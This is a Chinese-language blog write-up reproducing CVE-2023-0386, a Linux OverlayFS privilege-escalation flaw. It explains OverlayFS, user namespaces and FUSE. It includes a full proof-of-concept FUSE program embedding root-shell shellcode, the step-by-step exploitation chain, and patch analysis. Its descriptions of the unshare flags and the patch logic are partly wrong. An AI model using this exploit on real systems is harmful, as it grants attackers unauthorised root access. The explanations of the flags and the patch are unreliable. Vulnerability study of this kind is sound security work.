一、漏洞信息

CVE ID: CVE-2023-0386 [overlay]

Influence Version: (Linux 5.11 ~ 5.19 besides 5.15)

Vulnerability: LPE

Patch:fs/overlayfs/copy_up.c(https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/fs/overlayfs/copy_up.c?id=4f11ada10d0a

Description:
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.


這個漏洞是overlay內核組件存在邏輯問題,導致具有suid權限的文件可以未授權訪問,最后實現本地提權。

二、漏洞分析

上篇文章我將內核版本切換到了5.16.12(看chenaotian師傅的帖子說是5.15存在問題無法復現,不巧的是我一直用的都是5.15,的確無法使用)。

分析漏洞之前先來看看組件是做什么的:Overlay是一種Linux文件系統組件,用于實現一種可寫的文件系統層(upper layer),并通過掛載兩個文件系統來實現文件層次結構的組合。具體來說,它是一種用于容器和虛擬化環境的輕量級文件系統,通常用于在只讀根文件系統之上創建一個可寫層,以便應用程序可以在其中進行更改而不會影響到根文件系統。下圖是overlay的分層結構:

1.Merged層:這是一個虛擬的、合成的視圖,它將 lower 層和 upper 層合并在一起。當用戶訪問 Overlay 文件系統時,他們看到的是這個 merged 層。在這個層中,來自upper層的更改會覆蓋lower層的相應文件。對于同名文件upper層中的文件優先級更高。對于同名目錄,則合并,只判斷目錄中的文件是否有上下層覆蓋屏蔽關系。【用戶最終看到的是這個視圖】

2.Upper層:這是一個可寫的文件系統層,它存儲所有對 lower 層文件的更改。這包括文件修改、創建和刪除操作。

3.Workdir目錄:這是一個與 upper 層在同一文件系統中的可寫目錄,用于存儲一些中間數據和元數據,以支持 OverlayFS 的正常運行。

4.Lower層:這是基礎文件系統層,只讀。一個Overlay文件系統可以有一個或多個lower層。此層擁有寫時復制特性(copy-up),當想要修改lower層不可修改的fileC時,先拷貝副本到upper層,修改后呈現到merged視圖。

OverlayFS 操作流程

掛載OverlayFS文件系統

mkdir lower upper work merged
sudo mount -t overlay -o lowerdir=lower,upperdir=upper,workdir=work overlay merged # 掛載OverlayFS
# mount需要root用戶權限;需要創建兩個lower時:lowerdir=lower1:lower2
# 卸載OverlayFS:sudo umount merged

上面的命令可以將"lowerdir"和"upper"目錄堆疊到merged目錄,"workdir"工作目錄要求是和"upperdir"目錄同一類型文件系統的空目錄,"workdir"是 OverlayFS 內部使用的工作目錄,不需要用戶自己創建。"lower"、"upper" 和 "merged" 等路徑需要替換為實際存在的路徑,我們需要在根目錄下創建這三個目錄。

各層新建文件對比

在lower層新建文件:

echo "This is a file in lower." > lower/test.tx

當我們在lower層新建文件后,可以看到新文件也出現在merged目錄,upper目錄無變化。

[+] lower [+] merged [ ] upper

在merged層新建文件:

echo "This is a file in merged." > merged/merged.txt


當我們在merged層新建文件后,可以看到新文件也出現在upper目錄,lower目錄無變化。

[+] merged [+] upper [ ] lower

在upper層新建文件:

echo "This is a file in upper." > upper/upper.txt

當我們在upper層新建文件后,可以看到新文件也出現在merged目錄,lower目錄無變化。

[+] merged [+] upper [ ] lower

在merged層修改文件的變化

merged層是一個統一的視圖,當在merged新建文件時,可以看到新文件也出現在upper目錄,lower目錄無變化。也就是merged和upper是相互作用的。

在merged層中:

來自upper層的更改會覆蓋lower層的相應文件。對于同名文件,upper層中的文件優先級更高。對于同名目錄,則合并,只判斷目錄中的文件是否有上下層覆蓋屏蔽關系。

注意事項

需要注意以下卸載overlayFS后各層文件的變化,這也是后續漏洞利用的重要信息。

掛載overlayFS后,在lower層新增文件,merged也會新增文件,upper無變化;從merged層修改lower層文件,upper新增修改后的文件,接著卸載overlayFS,merged文件會消失,upper保留修改后的文件。

# 掛載overlayFS后,在lower層新增文件,merged也會新增文件,upper無變化
ubuntu@ubuntu:~/Downloads/fuse/change$ touch lower/lower.txt
ubuntu@ubuntu:~/Downloads/fuse/change$ tree
.
├── lower
│   └── lower.txt
├── merged
│   └── lower.txt
├── upper
└── work
    └── work [error opening dir]
# 從merged層修改lower層文件,upper新增修改后的文件,接著卸載overlayFS,merged文件會消失,upper保留修改后的文件
ubuntu@ubuntu:~/Downloads/fuse/change$ tree
.
├── lower
│   └── lower.txt
├── merged
├── upper
│   └── lower.txt
└── work
    └── work [error opening dir]

保留下來的文件權限跟lower層是一樣的:

ubuntu@ubuntu:~/Downloads/fuse/change$ ls -al lower/lower.txt 
-rw-rw-r-- 1 ubuntu ubuntu 4 May 12 03:29 lower/lower.txt
ubuntu@ubuntu:~/Downloads/fuse/change$ ls -al upper/lower.txt 
-rw-rw-r-- 1 ubuntu ubuntu 10 May 12 03:47 upper/lower.txt

漏洞觸發原理

漏洞的邏輯

overlayFS 所有文件都可以正常拷貝,包括沒有在當前用戶命名空間中映射的文件(也就是nobody文件)。

拷貝文件并不只是拷貝文件的內容,包括文件的元數據,也就是文件的屬主信息、時間戳、權限信息、還有擴展信息如capbilities等都會一起拷貝過來。引發的風險就是,如果下層文件系統是一個用戶文件系統(如fuse),用戶高度可控,可以自定義任何文件,但該文件系統存在限制(如nosuid),那么本漏洞就允許將下層用戶自定義的suid文件從一個nosuid 文件系統拷貝到一個正常文件系統中,導致非法的suid文件獲得suid特權。進而造成提權。

"nosuid"是Linux文件系統中的一種標志,它是在掛載文件系統時使用的選項之一。如果一個文件系統被標記為"nosuid",則在該文件系統上的任何文件或目錄上設置的"setuid"或"setgid"位都會被忽略,這意味著即使一個可執行文件被設置為具有特權用戶的權限,也不會在執行該文件時獲得特權,從而提高了系統的安全性。 

"nosuid"是在掛載時對文件系統進行了限制,但是文件系統可以生成一個"suid"的文件,即使因為限制不起作用。

用戶命名空間

什么是用戶命名空間?

用戶命名空間:用戶命名空間(User Namespace)用于隔離用戶ID(UID)和組ID(GID)。可以思考一下C++中的命名空間,假設一個程序中用了兩個相同函數名的函數(不是指重載),就會出現函數名沖突的問題,用命名空間就可以調用時避免沖突。
具體來說,假設在主機上存在一個名為"james"的用戶,其UID為0。如果直接使用overlay進行文件系統疊加,并在容器中以"james"用戶身份啟動進程,該進程將會在容器中使用UID為0的用戶,與主機中的"james"用戶相同,容易造成權限混淆的問題。
使用命名空間后,一個容器中的root用戶(UID 0)可能在主系統中被映射為一個非特權用戶,起到了權限隔離的作用。
主要使用命令:[unshare]

動手實踐:

◆創建nobody新用戶命名空間并查看權限

unshare -U /bin/bash
# 執行該命令后,將會創建一個新的用戶命名空間,并在其中啟動一個新的Bash shell。在新的用戶命名空間中,用戶ID和組ID會重新映射,以便用戶在該命名空間中獲得新的權限。

輸出如下:

ubuntu@ubuntu:~/Downloads/test_overlay$ sudo unshare -U /bin/bash
[sudo] password for ubuntu: 
nobody@ubuntu:/home/ubuntu/Downloads/test_overlay$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@ubuntu:/home/ubuntu/Downloads/test_overlay$

此處看到新用戶命名空間中的uid為nobody。

nobody是一個特殊的系統用戶,通常被用作一個不需要擁有系統特權的用戶來運行某些服務或進程。在Linux中,每個用戶都有一個對應的UID(UserID),而nobody用戶的UID通常是65534。當一個進程運行在一個不同的用戶命名空間時,由于該命名空間中沒有與該UID相關聯的用戶名,所以該UID會被識別為nobody用戶。因此,當您在一個新的用戶命名空間中使用unshare命令創建一個新的shell時,該shell中的UID會被識別為nobody。(nobody權限比普通用戶低)

◆創建root權限的新用戶命名空間,獲取的root權限只限于新用戶命名空間

ubuntu@ubuntu:~/Downloads/fuse$ unshare -Urm
# -U:創建一個新的用戶命名空間。在新的用戶命名空間中,用戶和用戶組的標識將與外部命名空間隔離,可以重新映射用戶和用戶組的標識。
# -r:創建一個新的掛載命名空間。在新的掛載命名空間中,文件系統的掛載點和掛載狀態將與外部命名空間隔離,可以進行獨立的掛載操作。
# -m:創建一個新的PID命名空間。在新的PID命名空間中,進程的PID將與外部命名空間隔離,可以獨立地管理進程。
root@ubuntu:~/Downloads/fuse# whoami
root
root@ubuntu:~/Downloads/fuse# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # 可以看到在新用戶命名空間我們的權限映射為root

◆(sudo) 創建root權限的新用戶命名空間并查看權限

--map-root-user 能夠指定創建的用戶uid,需要root權限,并且創造的root用戶能在用戶命名空間之外也能執行特權操作。

sudo unshare --user --map-root-user /bin/bash

輸出如下:

ubuntu@ubuntu:~/Downloads/test_overlay$ sudo unshare --user --map-root-user /bin/bash
root@ubuntu:/home/ubuntu/Downloads/test_overlay# id
uid=0(root) gid=0(root) groups=0(root)

再對比一下在不同用戶命名空間下文件的擁有者:

# uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
ubuntu@ubuntu:~/Downloads/test_overlay$ ls -al nobody.txt 
-rw-rw-r-- 1 ubuntu ubuntu 0 May 10 20:56 nobody.txt
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@ubuntu:~/Downloads/test_overlay$ ls -al nobody.txt 
-rw-rw-r-- 1 nobody nogroup 0 May 10 20:56 nobody.txt

fuseFS 操作流程

我在漏洞的邏輯中提到了:"nosuid"是在掛載時對文件系統進行了限制,但是文件系統可以生成一個"suid"的文件,即使因為限制不起作用。

我們在這里通過fuse文件系統創建一個文件,文件的要求如下:

1.設置文件所有者為root。

2.設置SUID權限位,SUID權限位會讓執行該文件的用戶擁有與文件擁有者相同的權限。

創建fuse_suid程序

我們先創建一個符合上面要求的文件,后續再對符合要求的文件進行修改。首先安裝依賴:

sudo apt-get install libfuse-dev

新建文件fuse_suid.c,用來生成一個程序,運行程序后能夠掛載fuseFS到一個空目錄,掛載后目錄下包含一個可執行文件hello,執行hello中的命令獲取shell(此處使用chenaotian師傅的poc):

#define FUSE_USE_VERSION 30
#include 
#include 
#include 
#include 
#include 
static const char *hello_path = "/hello";//fuse文件系統中有一個名為hello的文件,這里是文件路徑
const char hello_str[] = {//fuse文件系統中的suid 后門文件的二進制內容
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//獲取文件或目錄的屬性信息的回調函數getattr
{
    int res = 0;
    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {//fuse文件系統根目錄的權限,0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {//hello文件的權限,777并且帶有SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); //hello文件實際大小
    } else {
        res = -ENOENT;
    }
    return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)//獲取目錄信息的函數
{
    (void) offset;
    (void) fi;
    if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目錄
        return -ENOENT;
    }
    filler(buf, ".", NULL, 0);//默認顯示.和..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);//fuse根目錄有一個hello文件
    return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打開文件的open回調函數
{
    if (strcmp(path, hello_path) != 0) {//只支持打開hello文件
        return -ENOENT;
    }
    return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)//讀文件的回調函數read
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {//只支持讀hello文件
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);//返回hello文件的內容,即上面的二進制數組
    } else {
        size = 0;
    }
    return size;
}
static struct fuse_operations hellofs_oper = {//只實現上述四個回調函數已經夠了
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};
int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);//注冊回調函數
}

編譯:

gcc -Wall -g -D_FILE_OFFSET_BITS=64 fuse_suid.c 'pkg-config fuse --cflags --libs' -o fuse_suid

運行:

mkdir -p mount_fuse # 新建掛載目錄
./fuse_suid mount_fuse # 掛載新建的目錄,彈出已掛載
./mount_fuse/hello # 運行hello
fusermount -u mount_fuse # 卸載掛載目錄

使用mount | grep mount_fuse查看掛載目錄的屬性,可以看到fuseFS被設置成了nosuid:

ubuntu@ubuntu:~/Downloads/fuse$ mount | grep mount_fuse
/home/ubuntu/Downloads/fuse/fuse_suid on /home/ubuntu/Downloads/fuse/mount_fuse type fuse.fuse_suid (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)

查看hello文件屬性:

ubuntu@ubuntu:~/Downloads/fuse$ file ./mount_fuse/hello
./mount_fuse/hello: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
ubuntu@ubuntu:~/Downloads/fuse$ ls -l ./mount_fuse/hello
-rwsrwxrwx 1 root root 246 Dec 31  1969 ./mount_fuse/hello

運行hello后得到shell。可以看到即使是suid,擁有者為root,運行后也是普通用戶:

$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)

上述操作流程可通過下面腳本自動部署,方便調試fuse_suid.c文件:

echo 'fusermount -u mount_fuse
gcc -Wall -g -D_FILE_OFFSET_BITS=64 fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
./fuse_suid mount_fuse
file ./mount_fuse/hello
./mount_fuse/hello' > fuse_test.sh && chmod +x fuse_test.sh
# ./fuse_test.sh 運行

注意事項

自己構建poc時,報錯時請注意檢查回調函數。例如無法使用ls列出fuseFS掛載目錄下的文件:

ls: reading directory 'mount_fuse/': Function not implemented

需要注冊一個新的FUSE回調函數hello_readdir,該函數列出文件系統中的文件和目錄。

 

完整利用鏈

通過上面對兩個文件系統的學習,梳理了漏洞的邏輯后,我們可以得到以下完整利用流程:

1.在fuseFS中制作擁有suid權限擁有者為root用戶的后門程序hello,掛載fuseFS到自建的mount_fuse目錄。

2.創建新用戶命名空間(root用戶)、新掛載命名空間(用于overlayFS掛載)、新PID命名空間。

3.掛載overlayFS到新用戶命名空間,創建各層文件目錄,將第一步掛載的mount_fuse目錄設置為lower層。

4.將hello的suid屬性從fuseFS的nosuid環境中帶出來,帶到upper層,退出新用戶命名空間后hello保留suid及擁有者為root用戶。

5.將掛載的文件系統都退出,最后會在upper文件留下提權可執行后門hello進行提權。

各步驟執行代碼如下:

◆在fuseFS中制作擁有suid權限擁有者為root用戶的后門程序hello,掛載fuseFS到自建的mount_fuse目錄:

# 根據前面的fuse_suid.c進行操作
gcc -Wall -g -D_FILE_OFFSET_BITS=64 fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
./fuse_suid mount_fuse # 掛載fuseFS

◆創建新用戶命名空間(root用戶)、新掛載命名空間(用于overlayFS掛載)、新PID命名空間:

ubuntu@ubuntu:~/Downloads/fuse$ unshare -Urm
# -U:創建一個新的用戶命名空間。在新的用戶命名空間中,用戶和用戶組的標識將與外部命名空間隔離,可以重新映射用戶和用戶組的標識。
# -r:創建一個新的掛載命名空間。在新的掛載命名空間中,文件系統的掛載點和掛載狀態將與外部命名空間隔離,可以進行獨立的掛載操作。
# -m:創建一個新的PID命名空間。在新的PID命名空間中,進程的PID將與外部命名空間隔離,可以獨立地管理進程。
root@ubuntu:~/Downloads/fuse# whoami
root
root@ubuntu:~/Downloads/fuse# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # 可以看到在新用戶命名空間我們的權限映射為root

◆掛載overlayFS到新用戶命名空間,創建各層文件目錄,將第一步掛載的mount_fuse目錄設置為lower層:

mkdir upper work merged
mount -t overlay -o lowerdir=mount_fuse,upperdir=upper,workdir=work overlay merged
# sudo umount merged  卸載overlayFS (退出新用戶命名空間時已經卸載了)
# fusermount -u merged 卸載fuseFS

掛載后可以看到merged目錄無變化,mount_fuse目錄成了lower層。

◆將hello的suid屬性從fuseFS的nosuid環境中帶出來,帶到merged層

這里涉及到一個問題:

修改lower層的文件,會觸發copy-up操作。使用touch命令在嘗試創建一個已經存在的文件的時候不會覆蓋已經存在的文件,而是只修改文件的訪問時間和修改時間的時間戳,而時間戳信息也算文件的attr擴展信息,該信息被修改同樣會觸發overlay文件系統的copy-up操作。

touch merged/hello

根據我們在OverlayFS操作流程-注意事項中提到的,因為只修改了lower層文件的時間戳,沒有覆蓋文件,最后卸載所有文件系統時會把帶著suid權限的hello程序保存在upper層目錄。

◆最后執行被帶出到upper層的hello程序,完成提權。

◆利用鏈流程文件變化對比:

補丁分析

補丁新增部分:

if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
        !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
        return -EOVERFLOW

前面我們已經知道了存在漏洞的地方在于copy-up操作,新增的這部分代碼的含義是:

kgid_has_mapping()函數用于檢查當前組標識是否在給定的用戶命名空間中有映射關系。它接受兩個參數:用戶命名空間和組標識(GID),并返回一個布爾值。

如果 kuid_has_mapping() 函數的結果為假(零),即用戶標識沒有映射關系,

或者kgid_has_mapping()函數的結果為假(零),即組標識沒有映射關系,

整個條件表達式將被認為是假(零)。只有當兩個條件都為真時,整個表達式才會被認為是真(非零)。

所以更新補丁后,當進行copy-up操作時,如果目標下層文件的屬主用戶或屬組用戶在當前命名空間中沒有映射的話(也就是擁有者為nobody用戶)就會失敗,防止了自定義的文件進行未授權訪問。

可利用條件

可利用條件:已開啟overlay文件系統(我使用的系統默認開啟了overlayFS,可以根據上一篇編譯源碼make menuconfig查看是否系統為默認開啟,參數分別為CONFIG_SLUB_DEBUGOVERLAY_FS、CONFIG_FUSE_FS)。

查看系統是否已開啟overlay文件系統的方法

(1) ls /sys/module/overlay/

$ ls /sys/module/overlay/
coresize  initsize   notes       refcnt    srcversion  uevent
holders   initstate  parameters  sections  taint

如果有輸出,則表示overlay文件系統已經被內核模塊加載;如果輸出為空,則表示沒有加載overlay模塊。

(2) grep CONFIG_OVERLAY_FS /boot/config-$(uname -r)

$ grep CONFIG_OVERLAY_FS /boot/config-$(uname -r)
CONFIG_OVERLAY_FS=m
# CONFIG_OVERLAY_FS_REDIRECT_DIR is not set
CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW=y
# CONFIG_OVERLAY_FS_INDEX is not set
CONFIG_OVERLAY_FS_XINO_AUTO=y
# CONFIG_OVERLAY_FS_METACOPY is not set

根據輸出的結果,可以看到CONFIG_OVERLAY_FS的值為m,表示該文件系統功能已編譯到模塊中,可以在需要時加載該模塊來使用 Overlay 文件系統,該功能已經開啟。(m或者y都代表已開啟)

三、總結

通過學習和復現此漏洞的細節,希望大家能夠通過本文了解學習fuseFS和overlayFS的操作機制并懂得如何利用此漏洞提權。在寫本文時我也發現了自身很多不足之處。如果在文中發現哪處存在問題,也歡迎大家在留言區指出。